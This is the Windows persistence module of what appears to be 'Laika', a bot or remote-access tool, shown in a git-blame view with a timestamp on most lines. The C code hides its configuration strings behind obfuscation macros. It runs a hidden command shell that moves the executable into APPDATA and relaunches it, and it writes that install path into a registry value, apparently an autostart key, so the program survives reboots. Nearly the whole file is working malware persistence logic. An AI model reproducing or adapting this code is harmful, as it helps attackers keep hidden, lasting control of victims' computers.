2022-05-16 16:02:56 +00:00
|
|
|
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
|
2022-04-04 17:12:37 +00:00
|
|
|
|
2022-04-22 22:20:31 +00:00
|
|
|
#include <shlobj.h>
|
|
|
|
#include <shlwapi.h>
|
2022-06-27 23:57:00 +00:00
|
|
|
#include <windows.h>
|
2022-04-22 22:20:31 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#pragma comment(lib, "Shlwapi.lib")
|
2022-04-17 04:54:07 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "lbox.h"
|
2022-04-17 03:56:05 +00:00
|
|
|
#include "lconfig.h"
|
2022-04-17 04:54:07 +00:00
|
|
|
#include "lerror.h"
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "lmem.h"
|
2022-05-16 16:02:56 +00:00
|
|
|
#include "lvm.h"
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "persist.h"
|
2022-04-17 03:56:05 +00:00
|
|
|
|
2022-04-17 04:54:07 +00:00
|
|
|
HANDLE laikaB_mutex;
|
|
|
|
|
2022-04-04 17:12:37 +00:00
|
|
|
/* check if laika is running as super-user */
|
2022-06-27 23:57:00 +00:00
|
|
|
bool laikaB_checkRoot()
|
|
|
|
{
|
2022-04-04 17:12:37 +00:00
|
|
|
return true; /* stubbed for now */
|
|
|
|
}
|
|
|
|
|
|
|
|
/* mark that laika is currently running */
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_markRunning()
|
|
|
|
{
|
|
|
|
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
|
2022-05-16 16:02:56 +00:00
|
|
|
|
|
|
|
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
|
2022-04-17 04:54:07 +00:00
|
|
|
|
|
|
|
if (!laikaB_mutex) {
|
|
|
|
/* mutex doesn't exist, we're the only laika process :D */
|
2022-05-16 16:02:56 +00:00
|
|
|
laikaB_mutex = CreateMutexA(NULL, 0, mutex);
|
2022-04-17 04:54:07 +00:00
|
|
|
} else {
|
|
|
|
LAIKA_ERROR("Mutex already exists!\n");
|
|
|
|
}
|
2022-05-16 16:02:56 +00:00
|
|
|
|
|
|
|
LAIKA_BOX_SKID_END(mutex);
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/* unmark that laika is currently running */
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_unmarkRunning()
|
|
|
|
{
|
2022-04-17 04:54:07 +00:00
|
|
|
ReleaseMutex(laikaB_mutex);
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
HKEY openReg(HKEY key, LPCSTR subKey)
|
|
|
|
{
|
2022-04-18 22:05:26 +00:00
|
|
|
HKEY hKey;
|
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
2022-04-18 22:05:26 +00:00
|
|
|
LAIKA_ERROR("Failed to open registry key!\n");
|
|
|
|
|
|
|
|
return hKey;
|
|
|
|
}
|
|
|
|
|
2022-05-14 18:24:20 +00:00
|
|
|
/* returns raw string value from registry */
|
2022-06-27 23:57:00 +00:00
|
|
|
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
|
|
|
{
|
2022-05-16 16:02:56 +00:00
|
|
|
LPSTR str = NULL;
|
2022-04-18 22:05:26 +00:00
|
|
|
DWORD ret;
|
|
|
|
|
|
|
|
/* get the size */
|
|
|
|
*sz = 0;
|
2022-05-16 16:02:56 +00:00
|
|
|
RegQueryValueExA(key, val, NULL, NULL, NULL, sz);
|
2022-04-18 22:05:26 +00:00
|
|
|
|
2022-04-22 22:20:31 +00:00
|
|
|
if (*sz != 0) {
|
2022-05-16 16:02:56 +00:00
|
|
|
str = (LPSTR)laikaM_malloc(*sz);
|
2022-04-22 22:20:31 +00:00
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_ERROR("Failed to read registry!\n");
|
|
|
|
}
|
2022-04-18 22:05:26 +00:00
|
|
|
|
|
|
|
return str;
|
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
|
|
|
{
|
2022-04-18 22:05:26 +00:00
|
|
|
LONG code;
|
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
2022-04-18 22:05:26 +00:00
|
|
|
LAIKA_ERROR("Failed to write registry!\n");
|
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void getExecutablePath(LPSTR path)
|
|
|
|
{
|
2022-05-16 16:02:56 +00:00
|
|
|
CHAR modulePath[MAX_PATH] = {0};
|
|
|
|
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_ERROR("Failed to get executable path!\n");
|
2022-05-14 18:24:20 +00:00
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
lstrcpyA(path, "\"");
|
|
|
|
lstrcatA(path, modulePath);
|
|
|
|
lstrcatA(path, "\"");
|
2022-05-14 18:24:20 +00:00
|
|
|
|
|
|
|
LAIKA_DEBUG("EXE: %s\n", path);
|
2022-04-22 22:20:31 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void getInstallPath(LPSTR path)
|
|
|
|
{
|
|
|
|
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
|
|
|
|
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
|
2022-05-16 16:02:56 +00:00
|
|
|
CHAR SHpath[MAX_PATH] = {0};
|
2022-05-14 18:24:20 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
|
|
|
|
* microsoft will probably never completely remove it :P */
|
2022-05-16 16:02:56 +00:00
|
|
|
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_ERROR("Failed to get APPDATA!\n");
|
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
PathAppendA(SHpath, instDir);
|
2022-04-22 22:20:31 +00:00
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
if (!CreateDirectoryA(SHpath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
|
|
|
LAIKA_ERROR("Failed to create directory '%s'!\n", SHpath);
|
2022-04-22 22:20:31 +00:00
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
PathAppendA(SHpath, instFile);
|
2022-05-14 18:24:20 +00:00
|
|
|
|
|
|
|
/* write to path */
|
2022-05-16 16:02:56 +00:00
|
|
|
lstrcpyA(path, "\"");
|
|
|
|
lstrcatA(path, SHpath);
|
|
|
|
lstrcatA(path, "\"");
|
2022-06-27 23:57:00 +00:00
|
|
|
|
2022-05-14 18:24:20 +00:00
|
|
|
LAIKA_DEBUG("INSTALL: %s\n", path);
|
2022-05-16 16:02:56 +00:00
|
|
|
|
|
|
|
LAIKA_BOX_SKID_END(instFile);
|
|
|
|
LAIKA_BOX_SKID_END(instDir);
|
2022-04-22 22:20:31 +00:00
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
|
|
|
|
the executable is open), so we spawn a shell to move the exe *after* we exit. */
|
|
|
|
void installSelf()
|
|
|
|
{
|
|
|
|
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
|
2022-04-22 22:20:31 +00:00
|
|
|
|
|
|
|
getExecutablePath(szFile);
|
|
|
|
getInstallPath(szInstall);
|
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
if (lstrcmpA(szFile, szInstall) == 0) {
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_DEBUG("Laika already installed!\n");
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
|
|
|
|
* TODO: move this string to a secret box */
|
|
|
|
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
|
2022-05-16 16:02:56 +00:00
|
|
|
lstrcatA(szCmd, szFile);
|
|
|
|
lstrcatA(szCmd, " ");
|
|
|
|
lstrcatA(szCmd, szInstall);
|
|
|
|
lstrcatA(szCmd, " > NUL & ");
|
|
|
|
lstrcatA(szCmd, szInstall);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
|
|
|
|
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
|
|
|
|
|
|
|
laikaB_unmarkRunning();
|
|
|
|
exit(0);
|
|
|
|
}
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
void installRegistry()
|
|
|
|
{
|
|
|
|
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
|
|
|
|
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
|
2022-05-16 16:02:56 +00:00
|
|
|
CHAR newRegValue[MAX_PATH] = {0};
|
|
|
|
LPSTR regVal;
|
2022-04-22 22:20:31 +00:00
|
|
|
DWORD regSz;
|
|
|
|
DWORD newRegSz;
|
|
|
|
HKEY reg;
|
|
|
|
|
|
|
|
/* create REG_MULTI_SZ */
|
|
|
|
getInstallPath(newRegValue);
|
2022-05-16 16:02:56 +00:00
|
|
|
newRegSz = lstrlenA(newRegValue);
|
2022-04-22 22:20:31 +00:00
|
|
|
|
2022-05-16 16:02:56 +00:00
|
|
|
reg = openReg(HKEY_CURRENT_USER, regKey);
|
|
|
|
if ((regVal = readReg(reg, regKeyVal, ®Sz)) != NULL) {
|
2022-04-22 22:20:31 +00:00
|
|
|
LAIKA_DEBUG("Current Registry value: '%s'\n", regVal);
|
|
|
|
|
|
|
|
/* compare regValue with the install path we'll need */
|
|
|
|
if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) {
|
|
|
|
LAIKA_DEBUG("No match! Updating registry...\n");
|
|
|
|
/* it's not our install path, so write it */
|
2022-05-16 16:02:56 +00:00
|
|
|
writeReg(reg, regKeyVal, newRegValue, newRegSz);
|
2022-04-22 22:20:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
laikaM_free(regVal);
|
|
|
|
} else {
|
|
|
|
LAIKA_DEBUG("Empty registry! Updating registry...\n");
|
|
|
|
/* no registry value set! install it and set! */
|
2022-05-16 16:02:56 +00:00
|
|
|
writeReg(reg, regKeyVal, newRegValue, newRegSz);
|
2022-04-22 22:20:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
RegCloseKey(reg);
|
2022-05-16 16:02:56 +00:00
|
|
|
LAIKA_BOX_SKID_END(regKeyVal);
|
|
|
|
LAIKA_BOX_SKID_END(regKey);
|
2022-04-22 22:20:31 +00:00
|
|
|
}
|
|
|
|
|
2022-04-04 17:12:37 +00:00
|
|
|
/* try to gain persistance on machine */
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_tryPersist()
|
|
|
|
{
|
2022-04-22 22:20:31 +00:00
|
|
|
installRegistry();
|
|
|
|
installSelf();
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/* try to gain root */
|
2022-06-27 23:57:00 +00:00
|
|
|
void laikaB_tryRoot()
|
|
|
|
{
|
2022-04-04 17:12:37 +00:00
|
|
|
/* stubbed */
|
|
|
|
}
|